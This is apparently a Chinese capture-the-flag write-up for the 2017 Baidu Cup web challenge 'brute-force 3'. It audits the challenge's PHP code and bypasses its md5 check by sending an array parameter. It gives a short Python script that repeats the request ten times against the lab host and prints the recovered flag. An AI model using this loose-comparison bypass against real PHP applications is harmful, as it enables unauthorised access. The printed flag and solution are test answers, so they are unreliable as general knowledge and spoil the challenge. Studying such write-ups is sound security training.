“百度杯”CTF比赛 2017 二月场
爆破-3
题目类型:web
题目描述:打开靶机,得到一段php代码,说明这是一道php代码审计类型的题:
<?php
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
$_SESSION['nums'] = 0;
$_SESSION['time'] = time();
$_SESSION['whoami'] = 'ea';
}
if($_SESSION['time']+120<time()){
session_destroy();
}
$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
echo $str_rands;
}
if($_SESSION['nums']>=10){
echo $flag;
}
show_source(__FILE__);
?>
解题方法:我们来审计一下这一段php代码:
<?php
error_reporting(0); // 关闭错误报告,防止泄漏敏感信息
session_start(); // 启动会话,以便在页面之间共享数据
require('./flag.php'); // 导入 flag.php 文件,可能包含了一些敏感信息
// 如果会话中不存在 'nums' 键,则初始化为 0,同时记录时间和当前用户为 'ea'
if(!isset($_SESSION['nums'])){
$_SESSION['nums'] = 0;
$_SESSION['time'] = time(); // 记录当前时间
$_SESSION['whoami'] = 'ea'; // 记录当前用户标识
}
// 如果距离会话开始的时间超过 120 秒,则销毁会话
if($_SESSION['time']+120<time()){
session_destroy();
}
$value = $_REQUEST['value']; // 从用户请求中获取 'value' 参数
$str_rand = range('a', 'z'); // 创建包含字母 'a' 到 'z' 的数组
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)]; // 从数组中随机选择两个字母组合成字符串
// 如果用户输入的前两个字符与会话中的 'whoami' 相同,并且输入的值经过 md5 加密后的结果是0
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++; // 会话中记录次数加一
$_SESSION['whoami'] = $str_rands; // 更新当前用户标识
echo $str_rands; // 输出随机字符串
}
// 如果会话中记录的次数大于等于 10,则输出 flag
if($_SESSION['nums']>=10){
echo $flag; // 输出 flag.php 中定义的 flag
}
show_source(__FILE__); // 显示当前 PHP 文件的源代码
?>
关键是在于这里:
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++; // 会话中记录次数加一
$_SESSION['whoami'] = $str_rands; // 更新当前用户标识
echo $str_rands; // 输出随机字符串
这里要MD5加密后的值为0,可以用数组来进行绕过,MD5对数组不能处理,这里我们用数组来传入当前的用户标识 ?value[]=ea
这是nums就会加一,whoami就会随机产生一个新的字符在最上边,每次传入随机产生的字符,nums就会增加一次,当nums==10的时候就会输出flag,这里可以手动每次输入并传入随机产生的字符,连续10就可以,它的回话时间限制有120秒,够进行手动输入
也可以编写python脚本:
import requests
url = 'http://eci-2zedizxwhsw2plkete27.cloudeci1.ichunqiu.com/'
session = requests.Session()
html = session.get(url+'?value[]=ea').text
for _ in range(10):
html = session.get(url+'?value[]='+html[:2]).text
print(html)
得到flag:
flag{16604491-e2d1-4842-a21d-8dd961695290}
标签:__,10,nums,flag,value,CTF,html,2017,百度 From: https://www.cnblogs.com/xyweiwen/p/18132958